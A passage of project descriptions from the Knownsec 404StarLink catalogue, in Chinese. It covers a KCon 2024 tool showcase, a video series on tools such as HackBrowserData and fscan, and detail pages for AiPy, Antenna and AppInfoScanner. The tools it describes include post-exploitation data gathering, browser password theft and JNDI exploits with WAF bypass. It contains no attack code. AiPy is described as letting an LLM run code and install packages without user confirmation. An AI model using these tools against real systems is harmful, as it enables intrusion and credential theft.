    "content": "## 入选2024KCon黑客大会兵器谱\r\n\r\nKCon 黑客大会，知道创宇出品，始终秉承“追求干货、有趣”的理念，打造开放的网络安全攻防技术交流平台，“汇聚全球黑客的智慧”是 KCon 黑客大会的一贯宗旨。\r\n\r\n本次大会，我们将如鹰击长空般探索人工智能在网络安全中的无限可能，揭开其神秘面纱，共享技术突破带来的绚烂光芒；本次大会，我们将汇聚全球黑客的智慧如百川归海，见证新质生产力如雨后春笋般崛起，为网络安全的未来绘制宏伟蓝图；本次大会，我们将凝聚十三载的辉煌成果，以归零的勇气和决心，再次踏上“技术突破如破竹、边界探索似探险、安全极致胜巅峰”的崭新征程，共同书写网络安全的新篇章！\r\n\r\n本届大会以 **“同道”** 为主题，汇聚了网络安全领域的精英与志同道合之士，共谋网络安全之道，携手开创行业未来发展蓝图。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2024KCon/1.jpg\" width=\"700\">\r\n</div>\r\n\r\n详情访问：[KCon 2024 - KCon 黑客大会](https://kcon.knownsec.com/list-kcon2024.html)\r\n\r\n为了鼓励国内安全自动化工具的发展，展示更多安全人员们的安全自动化研究成果，自2016年起，KCon黑客大会便引入「兵器谱」展示环节。\r\n\r\n过去几届 KCon 黑客大会现场，已有七十多件“安全神兵利器”受到千余名参会者的观摩与试用，并获得媒体朋友们的广泛关注。\r\n\r\n今年，我们为大家精心挑选出了7件安全江湖的“神兵利器”，将于KCon舞台尽情探索与展示！\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2024KCon/2.png\" width=\"700\">\r\n</div>\r\n\r\n其中有 2 个项目来自404星链计划，他们分别是：\r\n\r\n- [Pillager](https://github.com/qwqdanchun/Pillager)\r\n- [JYso](https://github.com/qi4L/JYso)\r\n\r\n>排名不分先后\r\n\r\n### [Pillager](https://github.com/knownsec/404StarLink/blob/master/detail/Pillager.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-C#-blue)\r\n![Author](https://img.shields.io/badge/Author-qwqdanchun-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/qwqdanchun/Pillager.svg?style=flat&logo=github)\r\n\r\nhttps://github.com/qwqdanchun/Pillager\r\n\r\nPillager是一个适用于后渗透期间的信息收集工具，可以收集目标机器上敏感信息，方便下一步渗透工作的进行。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2024KCon/pillager.png\" width=\"700\">\r\n</div>\r\n\r\n### [JYso](https://github.com/knownsec/404StarLink/blob/master/detail/JYso.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-Java-blue)\r\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/qi4L/JYso.svg?style=flat&logo=github)\r\n\r\nhttps://github.com/qi4L/JYso\r\n\r\nJYso 是一款可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种 JNDI 高版本、WAF、RASP 的 Bypass 功能。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2024KCon/jyso.png\" width=\"700\">\r\n</div>"
  },
  {
    "path": "column/starlink_project_video.md",
    "content": "## 星际奇兵\n\n「星际奇兵」是知道创宇404实验室“星链计划”下的开源安全工具视频演示栏目，本栏目对项目进行细致的演示指导，陆续更新中。跟我们一起快速上手这些优秀的安全工具吧！\n\n以下账号同步更新，欢迎关注：\n\nB站：知道创宇404实验室  \nWeibo/微信公众号：Seebug漏洞平台\n\n**第一期演示项目：[KunLun-M](https://github.com/LoRexxar/Kunlun-M)**  \n自动化代码审计工具，有它一个就够了！——404星链计划KunLun-M\nhttps://www.bilibili.com/video/BV15a411G7CT\n\n**第二期演示项目：[HackBrowserData](https://github.com/moonD4rk/HackBrowserData)**  \n小心！这个工具可以窃取你的浏览器密码！——404星链计划HackBrowserData\nhttps://www.bilibili.com/video/BV1eU4y1z7si\n\n**第三期演示项目：[antSword](https://github.com/AntSwordProject/antSword)**  \n搞安全绝不能错过的跨平台网站管理工具——404星链计划antSword\nhttps://www.bilibili.com/video/BV1Jg411h7Pj\n\n**第四期演示项目：[CDK](https://github.com/cdk-team/CDK)**  \nGithub高赞工具，渗透测试er看过来——404星链计划CDK  \nhttps://www.bilibili.com/video/BV1DG4y1Z784/\n\n**第五期演示项目：[fscan](https://github.com/shadow1ng/fscan)**  \n【安全工具】5大功能，一键化内网扫描神器——404星链计划fscan  \nhttps://www.bilibili.com/video/BV1Cv4y1R72M\n\n**第六期演示项目：[Viper](https://github.com/FunnyWolf/Viper)**  \n【安全工具】集成70+模块，红队内网渗透必备——404星链计划Viper  \nhttps://www.bilibili.com/video/BV1zv4y1s7xv\n\n**第七期演示项目：[Pocsuite3](https://github.com/knownsec/pocsuite3)**  \n【安全工具】必备神器！开源远程漏洞测试框架——404星链计划Pocsuite3  \nhttps://www.bilibili.com/video/BV1gz4y1E7j1\n\n**持续更新中……**"
  },
  {
    "path": "detail/AiPy.md",
    "content": "## AiPy <https://github.com/knownsec/aipyapp>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-Knownsec-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/aipyapp.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n![Time](https://img.shields.io/badge/Join-20250415-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# Python use\nAIPy 是 Python-use 概念的一个具体实现，旨在展示该理念的实际价值与应用潜力。\n\n使命: 释放大语言模型的全部潜能\n愿景: 能够自主改进和使用 AIPy 的更聪明的LLM\n\n## What\nPython use 是把整个 Python 执行环境提供给 LLM 使用，可以想象为 LLM 坐在电脑前用键盘在 Python 命令行解释器里输入各种命令，按回车运行，然后观察执行结果，再输入代码和执行。\n\n和 Agent 的区别是 Python use 不定义任何 tools 接口，LLM 可以自由使用 Python 运行环境提供的所有功能。\n\n## Why\n假如你是一个数据工程师，你对下面的场景一定不陌生：\n- 处理各种不同格式的数据文件：csv/excel，json，html, sqlite, parquet ...\n- 对数据进行清洗，转换，计算，聚合，排序，分组，过滤，分析，可视化等操作\n\n这个过程经常需要：\n- 启动 Python，import pandas as pd，输入一堆命令处理数据\n- 生成一堆中间临时文件\n- 找 ChatGPT / Claude 描述你的需要，手工拷贝生成的数据处理代码运行。\n\n所以，为什么不启动 Python 命令行解释器后，直接描述你的数据处理需求，然后自动完成？好处是：\n- 无需手工临时输入一堆 Python 命令\n- 无需去找 GPT 描述需求，拷贝程序，然后手工运行\n\n这就是 Python use 要解决的问题！\n\n## How\nPython use (aipython) 是一个集成 LLM 的 Python 命令行解释器。你可以：\n- 像往常一样输入和执行 Python 命令\n- 用自然语言描述你的需求，aipython 会自动生成 Python 命令，然后执行\n\n而且，两种模式可以互相访问数据。例如，aipython 处理完你的自然语言命令后，你可以用标准 Python 命令查看各种数据。\n\n## Interfaces\n### ai 对象\n- \\_\\_call\\_\\_(instruction): 执行自动处理循环，直到 LLM 不再返回代码消息\n- save(path): 保存交互过程到 svg 或 html 文件\n- llm 属性： LLM 对象\n- runner 属性： Runner 对象\n\n### LLM 对象\n- history 属性： 用户和LLL交互过程的消息历史\n\n### Runner 对象\n- globals: 执行 LLM 返回代码的 Python 环境全局变量\n- locals: 执行 LLM 返回代码的 Python 环境局部变量\n\n### runtime 对象\n供 LLM 生成的代码调用，提供以下接口：\n- install_packages(packages): 申请安装第三方包\n- getenv(name, desc=None): 获取环境变量\n- display(path=None, url=None): 在终端显示图片\n\n## Usage\nAIPython 有两种运行模式：\n- 任务模式：非常简单易用，直接输入你的任务即可，适合不熟悉 Python 的用户。\n- Python模式：适合熟悉 Python 的用户，既可以输入任务也可以输入 Python 命令，适合高级用户。\n\n默认运行模式是任务模式，可以通过 `--python` 参数切换到 Python 模式。\n\n### 任务模式\n`uv run aipython`\n\n```\n>>> 获取Reddit r/LocalLLaMA 最新帖子\n......\n......\n>>> /done\n```\n\n`pip install aipyapp` ，运行aipy命令进入任务模式\n\n```\n-> % aipy\n🚀 Python use - AIPython (0.1.22) [https://aipy.app]\n请输入需要 AI 处理的任务 (输入 /use <下述 LLM> 切换)\n>> 获取Reddit r/LocalLLaMA 最新帖子\n......\n>>\n```\n\n### Python 模式\n#### 基本用法\n自动任务处理：\n\n```\n>>> ai(\"获取Google官网首页标题\")\n```\n\n#### 自动申请安装第三方库\n```\nPython use - AIPython (Quit with 'exit()')\n>>> ai(\"使用psutil列出当前MacOS所有进程列表\")\n\n📦 LLM 申请安装第三方包: ['psutil']\n如果同意且已安装，请输入 'y [y/n] (n): y\n\n```\n\n## Thanks\n- 黑哥: 产品经理/资深用户/首席测试官\n- Sonnet 3.7: 生成了第一版的代码，几乎无需修改就能使用。\n- ChatGPT: 提供了很多建议和代码片段，特别是命令行接口。\n- Codeium: 代码智能补齐\n- Copilot: 代码改进建议和翻译 README\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.5.0] - 2026-02-18\n\n**软件修复:**\n - 架构完全重构\n\n\n#### [v0.4.0] - 2025-11-28\n\n**架构重构:**\n - 全新的 Step-based 上下文清理机制，大幅减少 token 消耗\n - 强类型事件系统，提供更好的类型安全和错误处理\n - 重构子任务系统，支持重放和树状视图\n \n **MCP 集成:**\n - 完全重构 MCP 客户端，升级到 1.21.0\n - 统一工具调用接口，改进进度跟踪\n - 增强 MCP 工具调用限制规则\n \n **LLM 客户端:**\n - 新增 Gemini 客户端支持\n - 引入 OpenAIBaseClientV2 增强参数处理\n - 类型安全的配置管理系统\n \n **用户体验:**\n - 实时 token 使用统计和显示\n - 新增 /compact 命令和改进的 /steps 命令\n - 更好的国际化和多语言支持\n \n **稳定性改进:**\n - 网络错误重试机制优化\n - Windows 任务目录重命名问题修复\n - 序列化和存储错误修复\n \n **文档完善:**\n - 新增开发文档和功能说明\n - 改进提示词系统\n - 更新模型配置\n \n **技术债务清理:**\n - 升级 Python 最低版本到 3.11\n - 依赖包更新和锁文件优化\n - 代码结构优化和类型安全改进\n\n\n#### [v0.3.0] - 2025-10-28\n\n**优化**  \n- 优化 MCP \n\n#### [v0.2.0] - 2025-06-26\n\n**新增**  \n- 全新的GUI客户端2.0  \n- 集成MCP一键接入功能\n\n#### [v0.1.28] - 2025-05-21\n\n**新增**  \n- Trustoken集成联网搜索功能，新闻、时事查询更快捷，平均用时大幅降低。  \n- 任务执行完毕自动上传云端私密存储功能，方便用户案例管理或分享精彩案例给他人，该功能可通过配置关闭。  \n- Trustoken新增阿里Qwen、腾讯Hunyuan最新模型，多重选择更智能。  \n- GUI客户端可通过“aipyw”命令在终端直接打开。  \n- GUI客户端可通过“aipyw”命令在终端直接打开。  \n**优化**  \n- 新用户首次使用引导流程优化，操作体验更便捷。  \n- 大幅改善任务拆解、执行逻辑、内置最佳实践方案，执行复杂任务将用时更短、实现方案更可靠。  \n- 任务中Python库安装调整为无需确认方式，任务执行过程全自动完成。  \n- 修正多处缺陷。  \n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Antenna.md",
    "content": "## Antenna <https://github.com/wuba/Antenna>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-wuba-orange)\n![GitHub stars](https://img.shields.io/github/stars/wuba/Antenna.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.5-red)\n![Time](https://img.shields.io/badge/Join-20220914-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nAntenna是58同城安全团队打造的一款辅助安全从业人员辅助验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试(\nOAST)通过任务的形式，将不同漏洞场景检测能力通过插件的形式进行集合，通过与目标进行Out-of-bind的数据通信方式进行辅助检测。\n\n## Antenna的目标\n\n我们绝不仅仅只是将Antenna做成一款只能监听DNS、HTTP等协议来简单判断无回显类型漏洞的工具，我们的目标是尝试在良好使用体验的基础上支持高度灵活的自定义组件能力，满足用户通过Antenna探索并实现各种应用安全漏洞场景的辅助检测。尽可能得实现通过Antenna这款产品降低各种安全漏洞场景的检测成本。\n\n## 相关网站\n\n博客(已开放)：[Antenna 博客](http://blog.antenna.cool/docs/intro)\n\n演示平台(暂时关闭)：[演示平台](http://jiemuzu.cn)\n\n漏洞靶场(已支持docker部署,docker-compose文件在项目docker目录中)\n：[lcttty/antenna-range:0.0.1](https://github.com/wuba/Antenna/blob/main/docker/docker-compose-range.yaml)\n\n## Antenna_Inside计划\n\n在我们开发Antenna时，就希望能够支持现有市场上流行的漏洞扫描工具漏洞结果回调与主动查询\n,所以我们推出了CallBack与OpenAPI。为了让我们的这两个模块能够更加灵活与优雅。我们决定发起\nAntenna_Inside计划，如果您是使用扫描工具的用户或者作者请联系我们，我们会无条件支持您的项目与\n需求，帮助Antenna更方便的与漏洞扫描流程打通。如果您有推荐打通的项目，也可以在issue中提出来\n\n已加入Antenna_Inside项目\n\n| 项目名称       | 项目地址                                                                       |\n|------------|----------------------------------------------------------------------------|\n| EasyPen    | [https://github.com/lijiejie/EasyPen](https://github.com/lijiejie/EasyPen) |\n\n## 近期使用疑问解答\n\n#### 1、源码部署服务未启动，或者启动了DNS不好使\n\n回答: 该项目暂不推荐使用python3.7版本以下环境部署，请认真查看安装部署教程-源码部署部分，\n检查配置中项目路径与实际项目路径相同，启动后也可以尝试使用`supervisorctl status`\n查看各个组件运行状态\n\n#### 2、关于各类组件的使用说明以及能否再详细的进行说明自定义组件开发教程\n\n回答：文章将在Antenna博客不定时更新，基础文章已有，后续详细的也会有的，作者在加班加点的写，绝不会让各位师傅等太久\n\n#### 3、运行docker-compose命令后镜像构建时间过长\n\n1. 可尝试修改Dockerfile中制定相关下载源地址内容\n2. 可修改docker-compose文件中镜像,官方镜像已打包至dockerhub https://hub.docker.com/r/jihongjun/antenna/tags\n可尝试使用`docker pull jihongjun/antenna` 进行拉取\n\n#### 4、其他问题\n如果您遇到了其他问题可查阅项目issue进行寻找相关解决方案，如果发现并没有其他人遇到和您相关的问题，请新建issue，\n作者会及时回答您的疑问\n\n## 相关教程链接\n\n## 最新公告\n\nDNS_REBINDING 功能演示:[Antenna v1.3.0 版本更新公告(含DNS REBINDING使用教程)](http://blog.antenna.cool/blog/V1.3.0%20update)\n\n### 关于部署\n\n基础部署教程:[安装部署](http://blog.antenna.cool/docs/intro)\n\n隐匿部署教程：[关于Antenna的隐匿性部署](http://blog.antenna.cool/blog/%20%20Secrecy)\n\n前后端分离部署 [Antenna的前后端分离部署](http://blog.antenna.cool/blog/client_server)\n\n### 关于配置\n\n基础配置教程:[基础配置教程](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E9%85%8D%E7%BD%AE/config)\n\n域名配置及DNS相关配置:[域名配置及阿里云dns服务修改教程](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E9%85%8D%E7%BD%AE/DNS)\n\n开通邮箱通知以及邮箱授权码申请教程:[QQ邮箱授权码申请教程](https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256)\n\n### 关于任务\n\n任务基础使用教程:[如何简单的使用任务](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E4%BB%BB%E5%8A%A1/task)\n\n### 关于组件\n\n组件基础使用教程:[Antenna的灵魂-组件Template](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E7%BB%84%E4%BB%B6/template)\n\nxss 组件使用教程:[xss组件使用教程](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E7%BB%84%E4%BB%B6/xss)\n\n组件开发教程:[如何编写Antenna组件](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E7%BB%84%E4%BB%B6/template_demo)\n\n自定义HTTP组件使用教程[自定义HTTP组件使用教程](http://blog.antenna.cool/docs/%E5%85%B3%E4%BA%8E%E7%BB%84%E4%BB%B6/custom_http)\n\n### 关于OPEN_API与CallBack\n\nOPEN_API与CallBack使用教程:[关于OPEN_API与CallBack](http://blog.antenna.cool/docs/api_back)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.3.5] - 2023-04-21\n\n**更新**  \n- 修复HTTPS分块传输请求导致处理逻辑错误  \n- 废弃domain_in查询方式，后续多个域名查询可使用多个domain参数查询  \n- 新增api查询用户token以及查询当前项目使用版本接口\n\n#### [v1.3.4] - 2023-04-06\n\n**更新**  \n- 增加OPENAPI 消息ORDER_DESC 参数  \n- 优化了工具方法逻辑，修复了一些已知的问题  \n- 为Python SDK 做接口适配开发\n\n#### [v1.3.2] - 2023-03-01\n\n**更新**  \n- 优化了任务模块功能逻辑  \n- 修复python3.6版本不支持socket解析ip的bug\n\n#### [v1.3.1] - 2023-02-26\n\n**更新**  \n- Readme 新增DNS Rebinding功能演示文档，支持并优化了DNS 缓存的逻辑  \n- 优化了平台消息处理模块的逻辑，减少了数据库的请求数量  \n- 修复了平台配置的一些bug\n\n#### [v1.2.1] - 2022-10-19\n\n**更新**  \n- 优化HTTP/HTTPS请求处理模块，消息结果展示数据请求报文  \n- 修复组件模块bug，添加组件代码展示&编辑功能  \n- OPEN_API新增domain_contains、content_contains查询关键字  \n- 优化用户使用体验、更新配置无需再重启docker及系统  \n- 日常修复了一些bug\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/AntiDebug_Breaker.md",
    "content": "## AntiDebug_Breaker <https://github.com/0xsdeo/AntiDebug_Breaker>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![Author](https://img.shields.io/badge/Author-0xsdeo-orange)\n![GitHub stars](https://img.shields.io/github/stars/0xsdeo/AntiDebug_Breaker.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.4-red)\n![Time](https://img.shields.io/badge/Join-20260311-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nREADME\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v3.0.4] - 2026-03-11\n\n 谷歌插件应用商店：https://chromewebstore.google.com/detail/antidebug-breaker/opkclndfcbafdaecbbaklefnaadopcln \n - 增加hook performance.now脚本。 \n - 修复反hook检测脚本时序问题。 \n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/AppInfoScanner.md",
    "content": "## AppInfoScanner <https://github.com/kelvinBen/AppInfoScanner>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-kelvinBen-orange)\n![GitHub stars](https://img.shields.io/github/stars/kelvinBen/AppInfoScanner.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n![Time](https://img.shields.io/badge/Join-20210120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n### AppInfoScanner\n\n一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。\n\n### 前言\n- 本项目的开发者目前为个人开发者同时有自己的工作，新的功能或者需求会在闲暇时间进行开发，BUG会优先进行处理。\n- 如果在使用中遇到问题或者有新的需求，请在[](https://github.com/kelvinBen/AppInfoScanner/issues)提交BUG反馈，提交BUG前请先阅读最后的\"常见问题\"。\n- 如果您觉得这个项目对您有用，请点击本项目右上角的\"star\"按钮。\n- 如果您想持续跟进新的版本情况，请点击本项目右上角的\"Watch\"按钮。\n- 如果您想参与本项目的开发，请点击本项目右上角的\"Fork\"按钮,否则请勿点击\"Fork\"按钮。\n\n### 免责声明\n请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等**非法用途**中。实施上述行为或利用本项目对非自己著作权所有的程序进行数据嗅探将涉嫌违反《中华人民共和国刑法》第二百一十七条、第二百八十六条，《中华人民共和国网络安全法》《中华人民共和国计算机软件保护条例》等法律规定。本项目提及的技术仅可用于私人学习测试等合法场景中，任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。\n\n### 适用场景\n- 日常渗透测试中对APP中进行关键资产信息收集，比如URL地址、IP地址、关键字等信息的采集等。\n- 大型攻防演练场景中对APP中进行关键资产信息收集，比如URL地址、IP地址、关键字等信息的采集等。\n- 对WEB网站源代码进行URL地址、IP地址、关键字等信息进行采集等(可以是开源的代码也可以是右击网页源代码另存为)。\n- 对H5页面进行进行URL地址、IP地址、关键字等信息进行采集等。\n- 对某个APP进行定相信息收集等\n\n### 功能介绍:\n- [x] 支持目录级别的批量扫描\n- [x] 支持DEX、APK、IPA、MACH-O、HTML、JS、Smali、ELF等文件的信息收集\n- [x] 支持APK、IPA、H5等文件自动下载并进行一键信息收集\n- [x] 支持自定义请求头、请求报文、请求方法\n- [x] 支持规则自定义，随心自定义扫描规则\n- [x] 支持自定义忽略资源文件\n- [x] 支持自定义配置Android壳规则\n- [x] 支持自定义配置中间件规则\n- [x] 支持Android加固壳、iPA官方壳的检测\n- [x] 支持IP地址、URL地址、中间件(json组件和xml组件)的信息采集\n- [x] 支持Android对应包名下内容的采集\n- [x] 支持网络嗅探功能，可以提供基本的信息输出\n- [x] 支持Windows系统、MacOS系统、*nux系列的系统\n- [x] 具备简单的AI识别功能，可以快速过滤三方URL地址\n- [ ] 指纹识别模块\n- [ ] 添加国际化语言包\n- [ ] 一键对APK文件进行自动修复\n- [ ] 识别到壳后自动进行脱壳处理\n\n### 部分截图\n\n![](https://github.com/kelvinBen/AppInfoScanner/raw/master/result.png)\n\n### 环境说明\n- Apk文件解析需要使用JAVA环境,JAVA版本1.8及以下\n- Python3的运行环境\n\n### 目录说明\n```\nAppInfoScanner\n    |-- libs  程序的核心代码\n        |-- core\n            |-- __init__.py 全局配置信息\n            |-- parses.py 用于解析文件中的静态信息\n            |-- download.py 用于自动下载APP或者H5页面\n            |-- net.py 用于进行网络嗅探，并获取基本信息\n        |-- task\n            |-- __init__.py 目录初始化文件\n            |-- base_task.py 统一任务调度中心\n \t\t\t|-- android_task.py 用于处理Android相关的任务\n            |-- download_task.py 用于处理自动下载APP或者H5的任务            \n​\t\t\t |-- ios_task.py 用于处理iOS相关的任务\n            |-- net_task.py 用于处理网络嗅探相关任务\n​            |-- web_task.py 用于处理Web相关的任务，比如网页右键源代码、H5相关的静态信息\n​    |-- tools 程序需要依赖的工具\n​        |-- apktool.jar 用于反编译apk文件，不同平台可能需要进行自我切换\n​        |-- baksmali.jar 用于反编译dex文件，不同平台可能需要进行自我切换\n​        |-- strings.exe 用于windows 32下获取iPA的字符串信息\n​        |-- strings64.exe 用于windows 64的系统获取iPA的字符串信息\n​    |-- __init__.py 目录初始化文件 \n    |-- app.py 主运行程序\n​    |-- config.py 整个程序的配置文件\n​    |-- README.md  程序使用说明\n    |-- requirements.txt 程序中需要安装的依赖库\n    |-- update.md 程序历史版本信息\n```\n### 使用说明\n\n1. 下载\n```\n    git clone https://github.com/kelvinBen/AppInfoScanner.git\n    \n    或者复制以下链接到浏览器下载最新正式版本\n    \n    https://github.com/kelvinBen/AppInfoScanner/releases/latest\n\n    国内快速下载通道:\n\n    git clone https://gitee.com/kelvin_ben/AppInfoScanner.git\n\n```\n\n2. 安装依赖库\n```\n    cd AppInfoScanner\n    python3 -m pip install -r requirements.txt\n```\n\n3. 运行(基础版)\n\n- 扫描Android应用的APK文件、DEX文件、需要下载的APK文件下载地址、保存需要扫描的文件的目录\n\n```\n    python3 app.py android -i <Your APK File or DEX File or APK Download Url or Save File Dir>\n```\n\n- 扫描iOS应用的IPA文件、Mach-o文件、需要下载的IPA文件下载地址、保存需要扫描的文件目录\n\n```\n    python3 app.py ios -i <Your IPA file or Mach-o File or IPA Download Url or Save File Dir>\n```\n\n- 扫描Web站点的文件、目录、需要缓存的站点URl\n\n```\n    python3 app.py web -i <Your Web file or Save Web Dir or Web Cache Url>\n```\n\n### 进阶操作指南\n\n#### 基本命令格式\n```\npython3 app.py [TYPE] [OPTIONS] <The URL or directory to scan>\n```\n\n#### 符号信息说明\n\n```\n<> 代表需要扫描的文件或者目录或者URL地址\n| 或的关系，只能选择一个\n[] 代表需要输入的参数\n```\n\n#### TYPE参数详细说明\n此参数类型对应基本命令格式中的[TYPE],目前仅支持[android/ios/web]三种类型形式，三种类型形式必须指定一个。\n\n```\nandroid: 用于扫描Android应用相关的文件的内容\nios: 用于扫描iOS应用相关的文件内容\nweb: 用于扫描WEB站点或者H5相关的文件内容\n```\n\n支持自动根据后缀名称进行修正，即便输入的是ios，实际上-i 输入的参数的文件名为XXX.apk，则会执行android相关的扫描。\n\n\n#### OPTIONS参数详细说明\n该参数类型对应基本命令格式中的[OPTIONS]，支持多个参数共同使用\n\n```\n-i 或者 --inputs: 输入需要进行扫描的文件、目录或者需要自动下载的文件URL地址，如果路径过长请加\"进行包裹，此参数为必填项。\n-r 或者 --rules: 输入需要扫描文件内容的临时扫描规则。\n-s 或者 --sniffer: 开启网络嗅探功能，默认为开启状态。\n-n 或者 --no-resource: 忽略所有的资源文件，包含网络嗅探功能中的资源文件(需要先在config.py中配置sniffer_filter相关规则)，默认为不忽略资源。\n-a 或者 --all: 输出所有符合扫描规则的结果集合，默认为开启状态。\n-t 或者 --threads: 设置线程并发数量，默认为10个线程并发。\n-o 或者 --output: 指定扫描结果和扫描过程中产生的临时文件的输出目录，默认为脚本所在的目录。\n-p 或者 -- package: 指定Android的APK文件或者DEX文件需要扫描的JAVA包名信息。此参数只能在android类型下使用。\n```\n\n#### 具体使用方法\n\n##### Android相关基本操作\n- 对本地APK文件进行扫描\n```\npython3 app.py android -i <Your apk file>  \n\n例:\n\npython3 app.py android -i  C:\\Users\\Administrator\\Desktop\\Demo.apk\n```\n\n- 对本地Dex文件进行扫描\n```\npython3 app.py android -i <Your DEX file>  \n\n例:\n\npython3 app.py android -i  C:\\Users\\Administrator\\Desktop\\Demo.dex\n\n```\n- 对URL地址中包含的APK文件进行扫描\n```\npython3 app.py android -i <APK Download Url>  \n\n例:\n\npython3 app.py android -i \"https://127.0.0.1/Demo.apk\" \n\n```\n需要注意此处如果URL地址过长需要使用双引号(\")进行包裹\n\n##### iOS相关基本操作\n- 对本地IPA文件进行扫描\n```\npython3 app.py ios -i <Your ipa file>\n\n例:\n\npython3 app.py ios -i \"C:\\Users\\Administrator\\Desktop\\Demo.ipa\" \n```\n\n- 对本地Macho文件进行扫描\n```\npython3 app.py ios -i <Your Mach-o file>\n\n例:\n\npython3 app.py ios -i \"C:\\Users\\Administrator\\Desktop\\Demo\\Payload\\Demo.app\\Demo\" \n```\n\n- 对URL地址中包含的IPA文件进行扫描\n```\npython3 app.py ios -i <IPA Download Url>  \n\n例:\n\npython3 app.py ios -i \"https://127.0.0.1/Demo.ipa\" \n\n```\n需要注意此处如果URL地址过长需要使用双引号(\")进行包裹,暂时不支持对Apple Store中的IPA文件进行扫描\n\n##### Web相关基本操作\n\n- 对本地WEB站点进行扫描\n```\npython3 app.py web -i <Your web file>\n\n例:\n\npython3 app.py web -i \"C:\\Users\\Administrator\\Desktop\\Demo.html\" \n```\n- 对URL地址中包含的WEB站点文件进行扫描\n```\npython3 app.py web -i <Web Download Url>  \n\n例:\n\npython3 app.py web -i \"https://127.0.0.1/Demo.html\" \n\n```\n\n##### 具有共同性的操作\n\n以下操作均以android类型为例：\n\n- 对一个本地的目录进行扫描\n```\npython3 app.py android -i <Your Dir>\n\n例：\n\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo\n```\n\n- 添加临时规则或者关键字\n\n```\npython3 app.py android -i <Your apk> -r <the keyword | the rules>\n\n例：\n添加对百度域名的扫描\n\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -r \".*baidu.com.*\"\n```\n\n- 关闭网络嗅探功能\n```\npython3 app.py android -i <Your apk> -s\n\n例：\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -s\n\n```\n- 忽略所有的资源文件\n```\npython3 app.py android -i <Your apk> -n\n\n例：\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -n\n\n```\n\n- 关闭输出所有符合扫描规则内容的功能\n```\npython3 app.py android -i <Your apk> -a\n\n例：\n\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -a\n```\n\n- 设置并发数量\n```\npython3 app.py android -i <Your apk> -t 20\n\n例：\n设置20个并发线程\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -t 20 \n```\n- 指定结果集和缓存文件输出目录\n```\npython3 app.py android -i <Your apk> -o <output path>\n\n例：\n比如输出到桌面的Temp目录\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -o C:\\Users\\Administrator\\Desktop\\Temp\n```\n\n- 对指定包名下的文件内容进行扫描，该功能仅支持android类型\n\n```\npython3 app.py android -i <Your apk> -p <Java package name>\n\n例：\n比如需要过滤com.baidu包名下的内容\n\npython3 app.py android -i C:\\Users\\Administrator\\Desktop\\Demo.apk -p \"com.baidu\"\n```\n\n### 